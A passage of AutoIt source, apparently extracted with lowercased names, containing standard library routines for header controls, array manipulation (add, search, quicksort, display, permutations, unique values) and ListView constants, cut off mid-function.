- Func _guictrlheader_setorderarray($hwnd, ByRef $aorder)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $tbuffer = DllStructCreate("int[" & $aorder[0] & "]")
- For $ii = 1 To $aorder[0]
- DllStructSetData($tbuffer, 1, $aorder[$ii], $ii)
- Next
- Local $iret
- If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
- $iret = _sendmessage($hwnd, $hdm_setorderarray, $aorder[0], $tbuffer, 0, "wparam", "struct*")
- Else
- Local $ibuffer = DllStructGetSize($tbuffer)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $ibuffer, $tmemmap)
- _memwrite($tmemmap, $tbuffer)
- $iret = _sendmessage($hwnd, $hdm_setorderarray, $aorder[0], $pmemory, 0, "wparam", "ptr")
- _memfree($tmemmap)
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrlheader_setunicodeformat($hwnd, $funicode)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Return _sendmessage($hwnd, $hdm_setunicodeformat, $funicode)
- EndFunc
- Func _arrayadd(ByRef $avarray, $vvalue)
- If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
- If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, -1)
- Local $iubound = UBound($avarray)
- ReDim $avarray[$iubound + 1]
- $avarray[$iubound] = $vvalue
- Return $iubound
- EndFunc
- Func _arraybinarysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0)
- If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
- If UBound($avarray, 0) <> 1 Then Return SetError(5, 0, -1)
- Local $iubound = UBound($avarray) - 1
- If $iend < 1 OR $iend > $iubound Then $iend = $iubound
- If $istart < 0 Then $istart = 0
- If $istart > $iend Then Return SetError(4, 0, -1)
- Local $imid = Int(($iend + $istart) / 2)
- If $avarray[$istart] > $vvalue OR $avarray[$iend] < $vvalue Then Return SetError(2, 0, -1)
- While $istart <= $imid AND $vvalue <> $avarray[$imid]
- If $vvalue < $avarray[$imid] Then
- $iend = $imid - 1
- Else
- $istart = $imid + 1
- EndIf
- $imid = Int(($iend + $istart) / 2)
- WEnd
- If $istart > $iend Then Return SetError(3, 0, -1)
- Return $imid
- EndFunc
- Func _arraycombinations(ByRef $avarray, $iset, $sdelim = "")
- If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
- If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
- Local $in = UBound($avarray)
- Local $ir = $iset
- Local $aidx[$ir]
- For $i = 0 To $ir - 1
- $aidx[$i] = $i
- Next
- Local $itotal = __array_combinations($in, $ir)
- Local $ileft = $itotal
- Local $aresult[$itotal + 1]
- $aresult[0] = $itotal
- Local $icount = 1
- While $ileft > 0
- __array_getnext($in, $ir, $ileft, $itotal, $aidx)
- For $i = 0 To $iset - 1
- $aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim
- Next
- If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1)
- $icount += 1
- WEnd
- Return $aresult
- EndFunc
- Func _arrayconcatenate(ByRef $avarraytarget, Const ByRef $avarraysource, $istart = 0)
- If NOT IsArray($avarraytarget) Then Return SetError(1, 0, 0)
- If NOT IsArray($avarraysource) Then Return SetError(2, 0, 0)
- If UBound($avarraytarget, 0) <> 1 Then
- If UBound($avarraysource, 0) <> 1 Then Return SetError(5, 0, 0)
- Return SetError(3, 0, 0)
- EndIf
- If UBound($avarraysource, 0) <> 1 Then Return SetError(4, 0, 0)
- Local $iuboundtarget = UBound($avarraytarget) - $istart, $iuboundsource = UBound($avarraysource)
- ReDim $avarraytarget[$iuboundtarget + $iuboundsource]
- For $i = $istart To $iuboundsource - 1
- $avarraytarget[$iuboundtarget + $i] = $avarraysource[$i]
- Next
- Return $iuboundtarget + $iuboundsource
- EndFunc
- Func _arraycreate($v_0, $v_1 = 0, $v_2 = 0, $v_3 = 0, $v_4 = 0, $v_5 = 0, $v_6 = 0, $v_7 = 0, $v_8 = 0, $v_9 = 0, $v_10 = 0, $v_11 = 0, $v_12 = 0, $v_13 = 0, $v_14 = 0, $v_15 = 0, $v_16 = 0, $v_17 = 0, $v_18 = 0, $v_19 = 0, $v_20 = 0)
- Local $av_array[21] = [$v_0, $v_1, $v_2, $v_3, $v_4, $v_5, $v_6, $v_7, $v_8, $v_9, $v_10, $v_11, $v_12, $v_13, $v_14, $v_15, $v_16, $v_17, $v_18, $v_19, $v_20]
- ReDim $av_array[@NumParams]
- Return $av_array
- EndFunc
- Func _arraydelete(ByRef $avarray, $ielement)
- If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
- Local $iubound = UBound($avarray, 1) - 1
- If NOT $iubound Then
- $avarray = ""
- Return 0
- EndIf
- If $ielement < 0 Then $ielement = 0
- If $ielement > $iubound Then $ielement = $iubound
- Switch UBound($avarray, 0)
- Case 1
- For $i = $ielement To $iubound - 1
- $avarray[$i] = $avarray[$i + 1]
- Next
- ReDim $avarray[$iubound]
- Case 2
- Local $isubmax = UBound($avarray, 2) - 1
- For $i = $ielement To $iubound - 1
- For $j = 0 To $isubmax
- $avarray[$i][$j] = $avarray[$i + 1][$j]
- Next
- Next
- ReDim $avarray[$iubound][$isubmax + 1]
- Case Else
- Return SetError(3, 0, 0)
- EndSwitch
- Return $iubound
- EndFunc
- Func _arraydisplay(Const ByRef $avarray, $stitle = "Array: ListView Display", $iitemlimit = -1, $itranspose = 0, $sseparator = "", $sreplace = "|", $sheader = "")
- If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
- Local $idimension = UBound($avarray, 0), $iubound = UBound($avarray, 1) - 1, $isubmax = UBound($avarray, 2) - 1
- If $idimension > 2 Then Return SetError(2, 0, 0)
- If $sseparator = "" Then $sseparator = Chr(124)
- If _arraysearch($avarray, $sseparator, 0, 0, 0, 1) <> -1 Then
- For $x = 1 To 255
- If $x >= 32 AND $x <= 127 Then ContinueLoop
- Local $sfind = _arraysearch($avarray, Chr($x), 0, 0, 0, 1)
- If $sfind = -1 Then
- $sseparator = Chr($x)
- ExitLoop
- EndIf
- Next
- EndIf
- Local $vtmp, $ibuffer = 4094
- Local $icollimit = 250
- Local $ioneventmode = Opt("GUIOnEventMode", 0), $sdataseparatorchar = Opt("GUIDataSeparatorChar", $sseparator)
- If $isubmax < 0 Then $isubmax = 0
- If $itranspose Then
- $vtmp = $iubound
- $iubound = $isubmax
- $isubmax = $vtmp
- EndIf
- If $isubmax > $icollimit Then $isubmax = $icollimit
- If $iitemlimit < 1 Then $iitemlimit = $iubound
- If $iubound > $iitemlimit Then $iubound = $iitemlimit
- If $sheader = "" Then
- $sheader = "Row "
- For $i = 0 To $isubmax
- $sheader &= $sseparator & "Col " & $i
- Next
- EndIf
- Local $avarraytext[$iubound + 1]
- For $i = 0 To $iubound
- $avarraytext[$i] = "[" & $i & "]"
- For $j = 0 To $isubmax
- If $idimension = 1 Then
- If $itranspose Then
- $vtmp = $avarray[$j]
- Else
- $vtmp = $avarray[$i]
- EndIf
- Else
- If $itranspose Then
- $vtmp = $avarray[$j][$i]
- Else
- $vtmp = $avarray[$i][$j]
- EndIf
- EndIf
- $vtmp = StringReplace($vtmp, $sseparator, $sreplace, 0, 1)
- If StringLen($vtmp) > $ibuffer Then $vtmp = StringLeft($vtmp, $ibuffer)
- $avarraytext[$i] &= $sseparator & $vtmp
- Next
- Next
- Local Const $_arrayconstant_gui_dockborders = 102
- Local Const $_arrayconstant_gui_dockbottom = 64
- Local Const $_arrayconstant_gui_dockheight = 512
- Local Const $_arrayconstant_gui_dockleft = 2
- Local Const $_arrayconstant_gui_dockright = 4
- Local Const $_arrayconstant_gui_event_close = -3
- Local Const $_arrayconstant_lvm_getcolumnwidth = (4096 + 29)
- Local Const $_arrayconstant_lvm_getitemcount = (4096 + 4)
- Local Const $_arrayconstant_lvm_getitemstate = (4096 + 44)
- Local Const $_arrayconstant_lvm_setextendedlistviewstyle = (4096 + 54)
- Local Const $_arrayconstant_lvs_ex_fullrowselect = 32
- Local Const $_arrayconstant_lvs_ex_gridlines = 1
- Local Const $_arrayconstant_lvs_showselalways = 8
- Local Const $_arrayconstant_ws_ex_clientedge = 512
- Local Const $_arrayconstant_ws_maximizebox = 65536
- Local Const $_arrayconstant_ws_minimizebox = 131072
- Local Const $_arrayconstant_ws_sizebox = 262144
- Local $iwidth = 640, $iheight = 480
- Local $hgui = GUICreate($stitle, $iwidth, $iheight, Default, Default, BitOR($_arrayconstant_ws_sizebox, $_arrayconstant_ws_minimizebox, $_arrayconstant_ws_maximizebox))
- Local $aiguisize = WinGetClientSize($hgui)
- Local $hlistview = GUICtrlCreateListView($sheader, 0, 0, $aiguisize[0], $aiguisize[1] - 26, $_arrayconstant_lvs_showselalways)
- Local $hcopy = GUICtrlCreateButton("Copy Selected", 3, $aiguisize[1] - 23, $aiguisize[0] - 6, 20)
- GUICtrlSetResizing($hlistview, $_arrayconstant_gui_dockborders)
- GUICtrlSetResizing($hcopy, $_arrayconstant_gui_dockleft + $_arrayconstant_gui_dockright + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight)
- GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_gridlines, $_arrayconstant_lvs_ex_gridlines)
- GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_fullrowselect, $_arrayconstant_lvs_ex_fullrowselect)
- GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_ws_ex_clientedge, $_arrayconstant_ws_ex_clientedge)
- For $i = 0 To $iubound
- GUICtrlCreateListViewItem($avarraytext[$i], $hlistview)
- Next
- $iwidth = 0
- For $i = 0 To $isubmax + 1
- $iwidth += GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getcolumnwidth, $i, 0)
- Next
- If $iwidth < 250 Then $iwidth = 230
- $iwidth += 20
- If $iwidth > @DesktopWidth Then $iwidth = @DesktopWidth - 100
- WinMove($hgui, "", (@DesktopWidth - $iwidth) / 2, Default, $iwidth)
- GUISetState(@SW_SHOW, $hgui)
- While 1
- Switch GUIGetMsg()
- Case $_arrayconstant_gui_event_close
- ExitLoop
- Case $hcopy
- Local $sclip = ""
- Local $aicuritems[1] = [0]
- For $i = 0 To GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getitemcount, 0, 0)
- If GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getitemstate, $i, 2) Then
- $aicuritems[0] += 1
- ReDim $aicuritems[$aicuritems[0] + 1]
- $aicuritems[$aicuritems[0]] = $i
- EndIf
- Next
- If NOT $aicuritems[0] Then
- For $sitem In $avarraytext
- $sclip &= $sitem & @CRLF
- Next
- Else
- For $i = 1 To UBound($aicuritems) - 1
- $sclip &= $avarraytext[$aicuritems[$i]] & @CRLF
- Next
- EndIf
- ClipPut($sclip)
- EndSwitch
- WEnd
- GUIDelete($hgui)
- Opt("GUIOnEventMode", $ioneventmode)
- Opt("GUIDataSeparatorChar", $sdataseparatorchar)
- Return 1
- EndFunc
- Func _arrayfindall(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $icompare = 0, $isubitem = 0)
- $istart = _arraysearch($avarray, $vvalue, $istart, $iend, $icase, $icompare, 1, $isubitem)
- If @error Then Return SetError(@error, 0, -1)
- Local $iindex = 0, $avresult[UBound($avarray)]
- Do
- $avresult[$iindex] = $istart
- $iindex += 1
- $istart = _arraysearch($avarray, $vvalue, $istart + 1, $iend, $icase, $icompare, 1, $isubitem)
- Until @error
- ReDim $avresult[$iindex]
- Return $avresult
- EndFunc
- Func _arrayinsert(ByRef $avarray, $ielement, $vvalue = "")
- If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
- If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
- Local $iubound = UBound($avarray) + 1
- ReDim $avarray[$iubound]
- For $i = $iubound - 1 To $ielement + 1 Step -1
- $avarray[$i] = $avarray[$i - 1]
- Next
- $avarray[$ielement] = $vvalue
- Return $iubound
- EndFunc
- Func _arraymax(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
- Local $iresult = _arraymaxindex($avarray, $icompnumeric, $istart, $iend)
- If @error Then Return SetError(@error, 0, "")
- Return $avarray[$iresult]
- EndFunc
- Func _arraymaxindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
- If NOT IsArray($avarray) OR UBound($avarray, 0) <> 1 Then Return SetError(1, 0, -1)
- If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1)
- Local $iubound = UBound($avarray) - 1
- If $iend < 1 OR $iend > $iubound Then $iend = $iubound
- If $istart < 0 Then $istart = 0
- If $istart > $iend Then Return SetError(2, 0, -1)
- Local $imaxindex = $istart
- If $icompnumeric Then
- For $i = $istart To $iend
- If Number($avarray[$imaxindex]) < Number($avarray[$i]) Then $imaxindex = $i
- Next
- Else
- For $i = $istart To $iend
- If $avarray[$imaxindex] < $avarray[$i] Then $imaxindex = $i
- Next
- EndIf
- Return $imaxindex
- EndFunc
- Func _arraymin(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
- Local $iresult = _arrayminindex($avarray, $icompnumeric, $istart, $iend)
- If @error Then Return SetError(@error, 0, "")
- Return $avarray[$iresult]
- EndFunc
- Func _arrayminindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
- If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
- If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1)
- Local $iubound = UBound($avarray) - 1
- If $iend < 1 OR $iend > $iubound Then $iend = $iubound
- If $istart < 0 Then $istart = 0
- If $istart > $iend Then Return SetError(2, 0, -1)
- Local $iminindex = $istart
- If $icompnumeric Then
- For $i = $istart To $iend
- If Number($avarray[$iminindex]) > Number($avarray[$i]) Then $iminindex = $i
- Next
- Else
- For $i = $istart To $iend
- If $avarray[$iminindex] > $avarray[$i] Then $iminindex = $i
- Next
- EndIf
- Return $iminindex
- EndFunc
- Func _arraypermute(ByRef $avarray, $sdelim = "")
- If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
- If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
- Local $isize = UBound($avarray), $ifactorial = 1, $aidx[$isize], $aresult[1], $icount = 1
- For $i = 0 To $isize - 1
- $aidx[$i] = $i
- Next
- For $i = $isize To 1 Step -1
- $ifactorial *= $i
- Next
- ReDim $aresult[$ifactorial + 1]
- $aresult[0] = $ifactorial
- __array_exeterinternal($avarray, 0, $isize, $sdelim, $aidx, $aresult, $icount)
- Return $aresult
- EndFunc
- Func _arraypop(ByRef $avarray)
- If (NOT IsArray($avarray)) Then Return SetError(1, 0, "")
- If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, "")
- Local $iubound = UBound($avarray) - 1, $slastval = $avarray[$iubound]
- If NOT $iubound Then
- $avarray = ""
- Else
- ReDim $avarray[$iubound]
- EndIf
- Return $slastval
- EndFunc
- Func _arraypush(ByRef $avarray, $vvalue, $idirection = 0)
- If (NOT IsArray($avarray)) Then Return SetError(1, 0, 0)
- If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, 0)
- Local $iubound = UBound($avarray) - 1
- If IsArray($vvalue) Then
- Local $iubounds = UBound($vvalue)
- If ($iubounds - 1) > $iubound Then Return SetError(2, 0, 0)
- If $idirection Then
- For $i = $iubound To $iubounds Step -1
- $avarray[$i] = $avarray[$i - $iubounds]
- Next
- For $i = 0 To $iubounds - 1
- $avarray[$i] = $vvalue[$i]
- Next
- Else
- For $i = 0 To $iubound - $iubounds
- $avarray[$i] = $avarray[$i + $iubounds]
- Next
- For $i = 0 To $iubounds - 1
- $avarray[$i + $iubound - $iubounds + 1] = $vvalue[$i]
- Next
- EndIf
- Else
- If $idirection Then
- For $i = $iubound To 1 Step -1
- $avarray[$i] = $avarray[$i - 1]
- Next
- $avarray[0] = $vvalue
- Else
- For $i = 0 To $iubound - 1
- $avarray[$i] = $avarray[$i + 1]
- Next
- $avarray[$iubound] = $vvalue
- EndIf
- EndIf
- Return 1
- EndFunc
- Func _arrayreverse(ByRef $avarray, $istart = 0, $iend = 0)
- If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
- If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, 0)
- Local $vtmp, $iubound = UBound($avarray) - 1
- If $iend < 1 OR $iend > $iubound Then $iend = $iubound
- If $istart < 0 Then $istart = 0
- If $istart > $iend Then Return SetError(2, 0, 0)
- For $i = $istart To Int(($istart + $iend - 1) / 2)
- $vtmp = $avarray[$i]
- $avarray[$i] = $avarray[$iend]
- $avarray[$iend] = $vtmp
- $iend -= 1
- Next
- Return 1
- EndFunc
- Func _arraysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $icompare = 0, $iforward = 1, $isubitem = -1)
- If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
- If UBound($avarray, 0) > 2 OR UBound($avarray, 0) < 1 Then Return SetError(2, 0, -1)
- Local $iubound = UBound($avarray) - 1
- If $iend < 1 OR $iend > $iubound Then $iend = $iubound
- If $istart < 0 Then $istart = 0
- If $istart > $iend Then Return SetError(4, 0, -1)
- Local $istep = 1
- If NOT $iforward Then
- Local $itmp = $istart
- $istart = $iend
- $iend = $itmp
- $istep = -1
- EndIf
- Local $icomptype = False
- If $icompare = 2 Then
- $icompare = 0
- $icomptype = True
- EndIf
- Switch UBound($avarray, 0)
- Case 1
- If NOT $icompare Then
- If NOT $icase Then
- For $i = $istart To $iend Step $istep
- If $icomptype AND VarGetType($avarray[$i]) <> VarGetType($vvalue) Then ContinueLoop
- If $avarray[$i] = $vvalue Then Return $i
- Next
- Else
- For $i = $istart To $iend Step $istep
- If $icomptype AND VarGetType($avarray[$i]) <> VarGetType($vvalue) Then ContinueLoop
- If $avarray[$i] == $vvalue Then Return $i
- Next
- EndIf
- Else
- For $i = $istart To $iend Step $istep
- If StringInStr($avarray[$i], $vvalue, $icase) > 0 Then Return $i
- Next
- EndIf
- Case 2
- Local $iuboundsub = UBound($avarray, 2) - 1
- If $isubitem > $iuboundsub Then $isubitem = $iuboundsub
- If $isubitem < 0 Then
- $isubitem = 0
- Else
- $iuboundsub = $isubitem
- EndIf
- For $j = $isubitem To $iuboundsub
- If NOT $icompare Then
- If NOT $icase Then
- For $i = $istart To $iend Step $istep
- If $icomptype AND VarGetType($avarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop
- If $avarray[$i][$j] = $vvalue Then Return $i
- Next
- Else
- For $i = $istart To $iend Step $istep
- If $icomptype AND VarGetType($avarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop
- If $avarray[$i][$j] == $vvalue Then Return $i
- Next
- EndIf
- Else
- For $i = $istart To $iend Step $istep
- If StringInStr($avarray[$i][$j], $vvalue, $icase) > 0 Then Return $i
- Next
- EndIf
- Next
- Case Else
- Return SetError(7, 0, -1)
- EndSwitch
- Return SetError(6, 0, -1)
- EndFunc
- Func _arraysort(ByRef $avarray, $idescending = 0, $istart = 0, $iend = 0, $isubitem = 0)
- If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
- Local $iubound = UBound($avarray) - 1
- If $iend < 1 OR $iend > $iubound Then $iend = $iubound
- If $istart < 0 Then $istart = 0
- If $istart > $iend Then Return SetError(2, 0, 0)
- Switch UBound($avarray, 0)
- Case 1
- __arrayquicksort1d($avarray, $istart, $iend)
- If $idescending Then _arrayreverse($avarray, $istart, $iend)
- Case 2
- Local $isubmax = UBound($avarray, 2) - 1
- If $isubitem > $isubmax Then Return SetError(3, 0, 0)
- If $idescending Then
- $idescending = -1
- Else
- $idescending = 1
- EndIf
- __arrayquicksort2d($avarray, $idescending, $istart, $iend, $isubitem, $isubmax)
- Case Else
- Return SetError(4, 0, 0)
- EndSwitch
- Return 1
- EndFunc
- Func __arrayquicksort1d(ByRef $avarray, ByRef $istart, ByRef $iend)
- If $iend <= $istart Then Return
- Local $vtmp
- If ($iend - $istart) < 15 Then
- Local $vcur
- For $i = $istart + 1 To $iend
- $vtmp = $avarray[$i]
- If IsNumber($vtmp) Then
- For $j = $i - 1 To $istart Step -1
- $vcur = $avarray[$j]
- If ($vtmp >= $vcur AND IsNumber($vcur)) OR (NOT IsNumber($vcur) AND StringCompare($vtmp, $vcur) >= 0) Then ExitLoop
- $avarray[$j + 1] = $vcur
- Next
- Else
- For $j = $i - 1 To $istart Step -1
- If (StringCompare($vtmp, $avarray[$j]) >= 0) Then ExitLoop
- $avarray[$j + 1] = $avarray[$j]
- Next
- EndIf
- $avarray[$j + 1] = $vtmp
- Next
- Return
- EndIf
- Local $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)], $fnum = IsNumber($vpivot)
- Do
- If $fnum Then
- While ($avarray[$l] < $vpivot AND IsNumber($avarray[$l])) OR (NOT IsNumber($avarray[$l]) AND StringCompare($avarray[$l], $vpivot) < 0)
- $l += 1
- WEnd
- While ($avarray[$r] > $vpivot AND IsNumber($avarray[$r])) OR (NOT IsNumber($avarray[$r]) AND StringCompare($avarray[$r], $vpivot) > 0)
- $r -= 1
- WEnd
- Else
- While (StringCompare($avarray[$l], $vpivot) < 0)
- $l += 1
- WEnd
- While (StringCompare($avarray[$r], $vpivot) > 0)
- $r -= 1
- WEnd
- EndIf
- If $l <= $r Then
- $vtmp = $avarray[$l]
- $avarray[$l] = $avarray[$r]
- $avarray[$r] = $vtmp
- $l += 1
- $r -= 1
- EndIf
- Until $l > $r
- __arrayquicksort1d($avarray, $istart, $r)
- __arrayquicksort1d($avarray, $l, $iend)
- EndFunc
- Func __arrayquicksort2d(ByRef $avarray, ByRef $istep, ByRef $istart, ByRef $iend, ByRef $isubitem, ByRef $isubmax)
- If $iend <= $istart Then Return
- Local $vtmp, $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)][$isubitem], $fnum = IsNumber($vpivot)
- Do
- If $fnum Then
- While ($istep * ($avarray[$l][$isubitem] - $vpivot) < 0 AND IsNumber($avarray[$l][$isubitem])) OR (NOT IsNumber($avarray[$l][$isubitem]) AND $istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0)
- $l += 1
- WEnd
- While ($istep * ($avarray[$r][$isubitem] - $vpivot) > 0 AND IsNumber($avarray[$r][$isubitem])) OR (NOT IsNumber($avarray[$r][$isubitem]) AND $istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0)
- $r -= 1
- WEnd
- Else
- While ($istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0)
- $l += 1
- WEnd
- While ($istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0)
- $r -= 1
- WEnd
- EndIf
- If $l <= $r Then
- For $i = 0 To $isubmax
- $vtmp = $avarray[$l][$i]
- $avarray[$l][$i] = $avarray[$r][$i]
- $avarray[$r][$i] = $vtmp
- Next
- $l += 1
- $r -= 1
- EndIf
- Until $l > $r
- __arrayquicksort2d($avarray, $istep, $istart, $r, $isubitem, $isubmax)
- __arrayquicksort2d($avarray, $istep, $l, $iend, $isubitem, $isubmax)
- EndFunc
- Func _arrayswap(ByRef $vitem1, ByRef $vitem2)
- Local $vtmp = $vitem1
- $vitem1 = $vitem2
- $vitem2 = $vtmp
- EndFunc
- Func _arraytoclip(Const ByRef $avarray, $istart = 0, $iend = 0)
- Local $sresult = _arraytostring($avarray, @CR, $istart, $iend)
- If @error Then Return SetError(@error, 0, 0)
- Return ClipPut($sresult)
- EndFunc
- Func _arraytostring(Const ByRef $avarray, $sdelim = "|", $istart = 0, $iend = 0)
- If NOT IsArray($avarray) Then Return SetError(1, 0, "")
- If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, "")
- Local $sresult, $iubound = UBound($avarray) - 1
- If $iend < 1 OR $iend > $iubound Then $iend = $iubound
- If $istart < 0 Then $istart = 0
- If $istart > $iend Then Return SetError(2, 0, "")
- For $i = $istart To $iend
- $sresult &= $avarray[$i] & $sdelim
- Next
- Return StringTrimRight($sresult, StringLen($sdelim))
- EndFunc
- Func _arraytrim(ByRef $avarray, $itrimnum, $idirection = 0, $istart = 0, $iend = 0)
- If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
- If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
- Local $iubound = UBound($avarray) - 1
- If $iend < 1 OR $iend > $iubound Then $iend = $iubound
- If $istart < 0 Then $istart = 0
- If $istart > $iend Then Return SetError(5, 0, 0)
- If $idirection Then
- For $i = $istart To $iend
- $avarray[$i] = StringTrimRight($avarray[$i], $itrimnum)
- Next
- Else
- For $i = $istart To $iend
- $avarray[$i] = StringTrimLeft($avarray[$i], $itrimnum)
- Next
- EndIf
- Return 1
- EndFunc
- Func _arrayunique($aarray, $idimension = 1, $ibase = 0, $icase = 0, $vdelim = "|")
- Local $iubounddim
- If $vdelim = "|" Then $vdelim = Chr(1)
- If NOT IsArray($aarray) Then Return SetError(1, 0, 0)
- If NOT $idimension > 0 Then
- Return SetError(3, 0, 0)
- Else
- $iubounddim = UBound($aarray, 1)
- If @error Then Return SetError(3, 0, 0)
- If $idimension > 1 Then
- Local $aarraytmp[1]
- For $i = 0 To $iubounddim - 1
- _arrayadd($aarraytmp, $aarray[$i][$idimension - 1])
- Next
- _arraydelete($aarraytmp, 0)
- Else
- If UBound($aarray, 0) = 1 Then
- Dim $aarraytmp[1]
- For $i = 0 To $iubounddim - 1
- _arrayadd($aarraytmp, $aarray[$i])
- Next
- _arraydelete($aarraytmp, 0)
- Else
- Dim $aarraytmp[1]
- For $i = 0 To $iubounddim - 1
- _arrayadd($aarraytmp, $aarray[$i][$idimension - 1])
- Next
- _arraydelete($aarraytmp, 0)
- EndIf
- EndIf
- EndIf
- Local $shold
- For $icc = $ibase To UBound($aarraytmp) - 1
- If NOT StringInStr($vdelim & $shold, $vdelim & $aarraytmp[$icc] & $vdelim, $icase) Then $shold &= $aarraytmp[$icc] & $vdelim
- Next
- If $shold Then
- $aarraytmp = StringSplit(StringTrimRight($shold, StringLen($vdelim)), $vdelim, 1)
- Return $aarraytmp
- EndIf
- Return SetError(2, 0, 0)
- EndFunc
- Func __array_exeterinternal(ByRef $avarray, $istart, $isize, $sdelim, ByRef $aidx, ByRef $aresult, ByRef $icount)
- If $istart == $isize - 1 Then
- For $i = 0 To $isize - 1
- $aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim
- Next
- If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1)
- $icount += 1
- Else
- Local $itemp
- For $i = $istart To $isize - 1
- $itemp = $aidx[$i]
- $aidx[$i] = $aidx[$istart]
- $aidx[$istart] = $itemp
- __array_exeterinternal($avarray, $istart + 1, $isize, $sdelim, $aidx, $aresult, $icount)
- $aidx[$istart] = $aidx[$i]
- $aidx[$i] = $itemp
- Next
- EndIf
- EndFunc
- Func __array_combinations($in, $ir)
- Local $i_total = 1
- For $i = $ir To 1 Step -1
- $i_total *= ($in / $i)
- $in -= 1
- Next
- Return Round($i_total)
- EndFunc
- Func __array_getnext($in, $ir, ByRef $ileft, $itotal, ByRef $aidx)
- If $ileft == $itotal Then
- $ileft -= 1
- Return
- EndIf
- Local $i = $ir - 1
- While $aidx[$i] == $in - $ir + $i
- $i -= 1
- WEnd
- $aidx[$i] += 1
- For $j = $i + 1 To $ir - 1
- $aidx[$j] = $aidx[$i] + $j - $i
- Next
- $ileft -= 1
- EndFunc
- Global $_lv_ghlastwnd
- Global $debug_lv = False
- Global $illistviewsortinfosize = 11
- Global $alistviewsortinfo[1][$illistviewsortinfosize]
- Global Const $__listviewconstant_classname = "SysListView32"
- Global Const $__listviewconstant_ws_maximizebox = 65536
- Global Const $__listviewconstant_ws_minimizebox = 131072
- Global Const $__listviewconstant_gui_rundefmsg = "GUI_RUNDEFMSG"
- Global Const $__listviewconstant_wm_setredraw = 11
- Global Const $__listviewconstant_wm_setfont = 48
- Global Const $__listviewconstant_wm_notify = 78
- Global Const $__listviewconstant_default_gui_font = 17
- Global Const $__listviewconstant_ild_transparent = 1
- Global Const $__listviewconstant_ild_blend25 = 2
- Global Const $__listviewconstant_ild_blend50 = 4
- Global Const $__listviewconstant_ild_mask = 16
- Global Const $__listviewconstant_vk_down = 40
- Global Const $__listviewconstant_vk_end = 35
- Global Const $__listviewconstant_vk_home = 36
- Global Const $__listviewconstant_vk_left = 37
- Global Const $__listviewconstant_vk_next = 34
- Global Const $__listviewconstant_vk_prior = 33
- Global Const $__listviewconstant_vk_right = 39
- Global Const $__listviewconstant_vk_up = 38
- Global Const $taglvbkimage = "ulong Flags;hwnd hBmp;ptr Image;uint ImageMax;int XOffPercent;int YOffPercent"
- Global Const $taglvcolumn = "uint Mask;int Fmt;int CX;ptr Text;int TextMax;int SubItem;int Image;int Order;int cxMin;int cxDefault;int cxIdeal"
- Global Const $taglvgroup = "uint Size;uint Mask;ptr Header;int HeaderMax;ptr Footer;int FooterMax;int GroupID;uint StateMask;uint State;uint Align;" & "ptr pszSubtitle;uint cchSubtitle;ptr pszTask;uint cchTask;ptr pszDescriptionTop;uint cchDescriptionTop;ptr pszDescriptionBottom;" & "uint cchDescriptionBottom;int iTitleImage;int iExtendedImage;int iFirstItem;uint cItems;ptr pszSubsetTitle;uint cchSubsetTitle"
- Global Const $taglvinsertmark = "uint Size;dword Flags;int Item;dword Reserved"
- Global Const $taglvsetinfotip = "uint Size;dword Flags;ptr Text;int Item;int SubItem"
- Func _guictrllistview_addarray($hwnd, ByRef $aitems)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
